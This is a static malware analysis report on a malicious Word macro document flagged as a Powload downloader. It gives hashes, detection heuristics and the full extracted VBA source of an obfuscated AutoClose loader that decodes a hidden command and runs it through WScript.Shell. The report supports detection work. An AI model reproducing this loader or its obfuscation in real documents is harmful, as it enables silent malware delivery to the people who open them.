Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ecb914fcb7ac9706…

MALICIOUS

Office (OOXML)

53.3 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-01-25
MD5: 32d095989392b0aa877729ca11e66e60 SHA-1: 9c3774494d1a4550276d7507aa9e77409d302b1e SHA-256: ecb914fcb7ac970616768bf7ec7c8fdb27512fe0d1ae00980e6070b1226d95bb
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate Malicious Code

The sample is an OOXML document containing a VBA macro with an AutoClose function. This macro is obfuscated and uses WScript.Shell to execute a downloaded payload. The ClamAV detection 'Doc.Downloader.Powload-6707242-0' further indicates its downloader functionality. The macro's obfuscated nature and use of WScript.Shell suggest an attempt to deobfuscate and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       carabids = "WScript.Shell"
   yellowfins = DateDiff("s", #1/1/1970#, Now())
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "azadrachta", burrowed
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If traducent - yellowfins > 1 Then
       CreateObject(Trim(carabids)).Run indebt, 0
       demeanour = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  pendulosity = Array("4", "8", "X", "C", "2", "T", "z", "Z", "z", "f", "X", "C", "C", "R", "e", "M", "M", "P", "p", "c", "t", "2", "8", "v", "S", "c", "X", "8", "r", "8", "z", "t", "8", "q", "2", "8", "z", "C", "T", "c", "r", "4", "M", "g", "s", "k", "M", "C", "z", "i", "Z", "T", "R", "X", "R", "1", "p", "C", "4", "2", "6", "0", "r", "q", "d", "r", "9", "X")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2102 bytes
SHA-256: af0a9604b1834ca341c49a18c6db575e709ff0ebcbd80e1beeece271baf4aa1b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function upbringing(pendulosity)
  temporising = Array("6", "T", "S", "p", "c", "P", "M", "f", "i", "d", "q", "8", "C", "2", "Z", "X", "r", "e", "9", "s", "t", "1", "v", "0", "g", "z", "4", "R", "k")
  residuary = Array("=", ".", "i", "u", "c", "f", "/", " ", "r", "d", "n", "s", "t", "a", "x", "h", "o", ":", "l", "S", "k", "?", "b", "g", "I", "e", "m", "p", "O")
  
  clamorist = vbNullString
  
  For Each tabular In pendulosity
    spanking = cultural(tabular, temporising, UBound(temporising))
    If spanking > -1 Then
    clamorist = residuary(spanking) & clamorist
    End If
  Next
  
  upbringing = StrReverse(clamorist)
  
End Function

Public Function cultural(prattling, nicking, hakus)
  clabber = 913
  quipsome = 6672
  For clabber = 0 To hakus
    If nicking(clabber) = prattling Then
     quipsome = clabber
    End If
  Next

  If quipsome = 6672 Then
    quipsome = -1
  End If
  
  cultural = quipsome
End Function

Sub AutoClose()
  pendulosity = Array("4", "8", "X", "C", "2", "T", "z", "Z", "z", "f", "X", "C", "C", "R", "e", "M", "M", "P", "p", "c", "t", "2", "8", "v", "S", "c", "X", "8", "r", "8", "z", "t", "8", "q", "2", "8", "z", "C", "T", "c", "r", "4", "M", "g", "s", "k", "M", "C", "z", "i", "Z", "T", "R", "X", "R", "1", "p", "C", "4", "2", "6", "0", "r", "q", "d", "r", "9", "X")
  burrowed = upbringing(pendulosity)
  
  Application.Run "azadrachta", burrowed
  
End Sub


Private Sub azadrachta(indebt)
   
   carabids = "WScript.Shell"
   yellowfins = DateDiff("s", #1/1/1970#, Now())
   demeanour = True
   
   While demeanour
     traducent = yellowfins + 60
     If traducent - yellowfins > 1 Then
       CreateObject(Trim(carabids)).Run indebt, 0
       demeanour = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 8678fb44ad3de5f9e54af137ccbf5eb87757ab824bebceb64b8707dbdd0b3eb2
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: unlikely

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